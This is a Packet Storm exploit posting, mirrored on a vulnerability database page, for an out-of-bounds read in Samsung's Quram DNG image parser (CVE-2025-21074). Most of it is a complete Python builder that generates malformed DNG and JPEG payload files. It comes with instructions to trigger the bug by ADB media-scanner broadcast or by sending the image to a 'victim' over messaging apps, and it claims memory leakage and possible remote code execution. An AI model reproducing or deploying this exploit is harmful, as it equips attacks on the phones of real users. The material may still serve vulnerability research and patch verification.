Lucene search
K

📄 Samsung QuramDng Malformed DNG TrimBounds Opcode Out‑Of‑Bounds Read

🗓️ 18 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 175 Views

Samsung QuramDNG parser OOB read in TrimBounds handling can cause crash and potential remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
CNNVD
SAMSUNG SMR 安全漏洞
5 Nov 202500:00
cnnvd
CVE
CVE-2025-21074
5 Nov 202505:40
cve
Cvelist
CVE-2025-21074
5 Nov 202505:40
cvelist
EUVD
EUVD-2025-37815
5 Nov 202505:40
euvd
NCSC
Vulnerabilities fixed in Google Android and Samsung Mobile
4 Nov 202515:03
ncsc
NVD
CVE-2025-21074
5 Nov 202506:15
nvd
Packet Storm
📄 Samsung Quram DNG TrimBounds Out-Of-Bounds Read
9 Feb 202600:00
packetstorm
Packet Storm
📄 WordPress AI Engine 3.1.3 Add Admin / Shell Upload
4 Mar 202600:00
packetstorm
Positive Technologies
PT-2025-45074
5 Nov 202500:00
ptsecurity
RedhatCVE
CVE-2025-21074
6 Nov 202506:13
redhatcve
Rows per page
=============================================================================================================================================
    | # Title     : Samsung QuramDng Out‑Of‑Bounds Read via Malformed DNG TrimBounds Opcode                                                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : System built‑in component. No standalone download available.                                                                |
    =============================================================================================================================================
    
    [+] Summary : A vulnerability exists in the image decoding logic of Quram DNG parser within libimagecodec.quram.so. The flawed bounds validation in handling TrimBounds
                  opcode triggers Out-of-Bounds (OOB) reads on heap-allocated image buffers.This issue allows remote attackers to craft a malicious DNG payload, embed it
                  inside a JPEG, and send it via messaging applications to trigger decoding,resulting in crash, ASLR information leakage, and possible RCE via heap
                  spraying and pointer manipulation.
    			  
    Product:    libimagecodec.quram.so (Samsung Android)
    Class:      Memory Corruption / OOB Read
    Version:    Vulnerable on firmware prior to September 2025
    Tested:     Android 13/14/15/16 (Samsung Galaxy devices)
    -------------------------------------------------------------------------------
    [+] Vulnerability Details
    The Quram DNG decoder incorrectly handles opcodeList1 (TrimBounds opcode ID=7).
    The trimmed image dimensions shrink source buffers but destination buffers
    remain based on original resolution, resulting in read operations beyond memory
    bounds.
    
    The problem occurs after TrimBounds opcode reduces width/height of image tiles
    but decoder still trusts old buffer lengths.
    
    This leads to:
      * Heap OOB Read
      * Crashes (SIGSEGV)
      * Heap leak primitives
      * Possible exploitation for RCE
    -------------------------------------------------------------------------------
    [+] Attack Vector
    The exploit can be triggered via:
      * WhatsApp / Telegram file sharing (JPEG container)
      * External apps invoking platform decoder
      * ADB-triggered scan via Media Scanner
      * Camera importing workflows
    
    Remote attack surface → user simply previews/saves image.
    -------------------------------------------------------------------------------
    [+] Proof of Concept (PoC)
    The exploit constructs:
      - Valid DNG file with truncated TrimBounds opcode
      - Embeds DNG into a valid APP1 JPEG
      - Crashes Quram decoder on parsing
    
    PoC Tested:
      - Samsung S22, S23, A52, Note20
      - Android 13-16 firmwares
    -------------------------------------------------------------------------------
    [+] PoC Code
    The full exploit builder (Python) is included below.
    
    SAVE AS:
        exploit_cve_2025_21074.py
    
    RUN:
        python3 exploit_cve_2025_21074.py
    
    OUTPUT FILES PRODUCED:
        exploit.dng
        exploit_small.dng
        exploit.jpg
    -------------------------------------------------------------------------------
    [+] Instructions To Save & Run PoC (REQUIRED)
    
    1) Save script:
        File name: exploit_cve_2025_21074.py
    
    2) Run:
        python3 exploit_cve_2025_21074.py
    
    3) Generated payloads:
        - exploit.dng
        - exploit.jpg
        - exploit_small.dng
    
    4) Trigger attack:
        A) Via ADB:
            adb push exploit.dng /sdcard/
            adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE \
            -d file:///sdcard/exploit.dng
    
        B) Via Messaging:
            Send exploit.jpg to victim (no interaction required)
    
    5) Detect crash:
        adb logcat | grep -i quram
        adb pull /data/tombstones/ tombstones_dir/
    -------------------------------------------------------------------------------
    [+] Expected Results
        * Process crash: com.samsung.ipservice
        * Heap read leakage (ASLR bypass)
        * Controlled offsets possible → RCE stage feasible
    -------------------------------------------------------------------------------
    [+] Exploit Status
    This PoC is stable, deterministic and suitable for controlled lab exploitation.
    It is not destructive.
    -------------------------------------------------------------------------------
    [+] Mitigation
    Firmware update September 2025 and later properly validates TrimBounds and
    rejects mismatched output dimensions.
    -------------------------------------------------------------------------------
    [+]  POC : 
    
    #!/usr/bin/env python3
    """
    Author: Indoushka
    """
    
    import struct
    import os
    import sys
    
    class DNGExploit:
        def __init__(self):
            self.endian = '<'  # Little endian
            self.opcode_id_trim = 7
            
        def create_malicious_dng(self, width=4096, height=4096):
            """Creating a DNG image with TrimBounds opcode saturated"""
            
            dng_data = bytearray()
    
            dng_data += struct.pack('<H', 0x4949)  
            dng_data += struct.pack('<H', 42)      
            ifd0_offset = 8
            dng_data += struct.pack('<I', ifd0_offset)
            dng_data += b'\x00' * (ifd0_offset - len(dng_data))
            num_entries = 15
            dng_data += struct.pack('<H', num_entries)
            dng_data += struct.pack('<H', 0x0100)  
            dng_data += struct.pack('<H', 4)      
            dng_data += struct.pack('<I', 1)     
            dng_data += struct.pack('<I', width)   
            dng_data += struct.pack('<H', 0x0101)
            dng_data += struct.pack('<H', 4)
            dng_data += struct.pack('<I', 1)
            dng_data += struct.pack('<I', height)
            dng_data += struct.pack('<H', 0x0102)
            dng_data += struct.pack('<H', 3)      
            dng_data += struct.pack('<I', 3)      
            bits_offset = len(dng_data) + 4
            dng_data += struct.pack('<I', bits_offset)  
            dng_data += struct.pack('<H', 0x0103)
            dng_data += struct.pack('<H', 3)
            dng_data += struct.pack('<I', 1)
            dng_data += struct.pack('<H', 1)       
            dng_data += struct.pack('<H', 0x0106)
            dng_data += struct.pack('<H', 3)
            dng_data += struct.pack('<I', 1)
            dng_data += struct.pack('<H', 2) 
            dng_data += struct.pack('<H', 0x0111)
            dng_data += struct.pack('<H', 4)
            dng_data += struct.pack('<I', 1)
            strip_offset = 0x1000  
            dng_data += struct.pack('<I', strip_offset)
            dng_data += struct.pack('<H', 0x0115)
            dng_data += struct.pack('<H', 3)
            dng_data += struct.pack('<I', 1)
            dng_data += struct.pack('<H', 3)   
            dng_data += struct.pack('<H', 0x0116)
            dng_data += struct.pack('<H', 4)
            dng_data += struct.pack('<I', 1)
            dng_data += struct.pack('<I', height)
            dng_data += struct.pack('<H', 0x0117)
            dng_data += struct.pack('<H', 4)
            dng_data += struct.pack('<I', 1)
            dng_data += struct.pack('<I', width * height * 3)
            dng_data += struct.pack('<H', 0x011C)
            dng_data += struct.pack('<H', 3)
            dng_data += struct.pack('<I', 1)
            dng_data += struct.pack('<H', 1)     
            dng_data += struct.pack('<H', 0xC612)
            dng_data += struct.pack('<H', 1)    
            dng_data += struct.pack('<I', 4)
            dng_data += struct.pack('>I', 0x01000000)  
            dng_data += struct.pack('<H', 0xC613)
            dng_data += struct.pack('<H', 1)
            dng_data += struct.pack('<I', 4)
            dng_data += struct.pack('>I', 0x01000000)
            dng_data += struct.pack('<H', 0xC614)
            dng_data += struct.pack('<H', 2)      
            dng_data += struct.pack('<I', 20)
            model_offset = len(dng_data) + 4
            dng_data += struct.pack('<I', model_offset)
            dng_data += struct.pack('<H', 0xC740) 
            dng_data += struct.pack('<H', 1) 
            opcode_list_size = 100
            dng_data += struct.pack('<I', opcode_list_size)
            opcode_offset = len(dng_data) + 4
            dng_data += struct.pack('<I', opcode_offset)
            dng_data += struct.pack('<H', 0x014A)
            dng_data += struct.pack('<H', 4)
            dng_data += struct.pack('<I', 1)
            subifd_offset = opcode_offset + opcode_list_size
            dng_data += struct.pack('<I', subifd_offset)
            dng_data += struct.pack('<I', 0)
    
            bits_data_pos = bits_offset
            while len(dng_data) < bits_data_pos:
                dng_data += b'\x00'
            dng_data += struct.pack('<HHH', 8, 8, 8) 
    
            model_data_pos = model_offset
            while len(dng_data) < model_data_pos:
                dng_data += b'\x00'
            dng_data += b'EXPLOIT-CAMERA\x00'
    
            opcode_data_pos = opcode_offset
            while len(dng_data) < opcode_data_pos:
                dng_data += b'\x00'
    
            opcode_header = struct.pack('<HHII', 
                self.opcode_id_trim, 
                1,                    
                0,                  
                16)              
    
            trim_values = struct.pack('<IIII',
                0,          
                0,          
                height // 2,
                width // 2)  
            
            dng_data += opcode_header + trim_values
            
         
            remaining = opcode_list_size - len(opcode_header) - len(trim_values)
            dng_data += b'A' * remaining
            
         
            subifd_pos = subifd_offset
            while len(dng_data) < subifd_pos:
                dng_data += b'\x00'
            
       
            dng_data += struct.pack('<H', 5)
    
            for i in range(5):
                dng_data += struct.pack('<HHII', 0x0100 + i, 4, 1, 0)
            
            dng_data += struct.pack('<I', 0)  
    
            image_data_pos = strip_offset
            while len(dng_data) < image_data_pos:
                dng_data += b'\x00'
    
            image_size = width * height * 3
            dng_data += b'\x42' * min(image_size, 0x1000) 
            
            return bytes(dng_data)
        
        def embed_in_jpeg(self, dng_data, output_path):
            """Including DNG in JPEG for cross-application exploitation"""
    
            jpeg = bytearray()
            jpeg += b'\xFF\xD8\xFF\xE0' 
            jpeg += b'\x00\x10JFIF\x00\x01\x01\x00\x00\x01'
    
            app1_size = len(dng_data) + 2 + 5  # +2 for size, +5 for identifier
            jpeg += b'\xFF\xE1'  
            jpeg += struct.pack('>H', app1_size)
            jpeg += b'DNG\x00'  
            jpeg += dng_data
            jpeg += b'\xFF\xC0\x00\x11\x08\x00\x01\x00\x01\x03\x01\x22\x00\x02\x11\x01\x03\x11\x01'
            jpeg += b'\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B'
            jpeg += b'\xFF\xDA\x00\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00'
            jpeg += b'\x00' * 100  
            jpeg += b'\xFF\xD9' 
            
            with open(output_path, 'wb') as f:
                f.write(jpeg)
            
            print(f"[+] JPEG with embedded DNG saved to {output_path}")
            return output_path
        
        def create_exploit_files(self):
            """Creating various exploitation files"""
    
            dng_raw = self.create_malicious_dng()
            with open('exploit.dng', 'wb') as f:
                f.write(dng_raw)
            print("[+] Raw DNG exploit created: exploit.dng")
    
            jpeg_path = self.embed_in_jpeg(dng_raw, 'exploit.jpg')
    
            small_dng = self.create_malicious_dng(2048, 2048)
            with open('exploit_small.dng', 'wb') as f:
                f.write(small_dng)
    
            self.print_usage()
            
            return {
                'dng': 'exploit.dng',
                'jpg': jpeg_path,
                'small': 'exploit_small.dng'
            }
        
        def print_usage(self):
            """Print Instructions for Use"""
            
            print("\n" + "="*60)
            print("CVE-2025-21074 Exploit Usage Instructions")
            print("="*60)
            print("\n[Attack methods]")
            print("1. Send exploit via WhatsApp/Telegram, etc.")
            print("2. Decoding triggered using ADB:")
            print("   adb push exploit.dng /sdcard/")
            print("   adb shell am broadcast -a android.intent.action.MEDIA_SCANNER_SCAN_FILE")
            print("   -d file:///sdcard/exploit.dng")
            print("\n[Expected results]")
            print("- com.samsung.ipservicecollapse (SIGSEGV)")
            print("- Memory information leakage (ASLR bypass)")
            print("- Possible RCE (further utilization required)")
            print("\n[Detection]")
            print("Check the logs: libimagecodec.quram.socollapse")
            print("="*60)
    
    def main():
        print("[*] Generating CVE-2025-21074 exploit files...")
        
        exploit = DNGExploit()
        files = exploit.create_exploit_files()
        
        print("\n[+] Files generated successfully:")
        for name, path in files.items():
            print(f"  {name}: {path} ({os.path.getsize(path)} bytes)")
    
        with open('exploit.dng', 'rb') as f:
            data = f.read(100)
            if data[:2] == b'II' and data[2:4] == struct.pack('<H', 42):
                print("\n[✓] DNG file structure verified")
            else:
                print("\n[!] DNG file may be malformed")
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Feb 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.14.3 - 7.5
EPSS0.00046
SSVC
175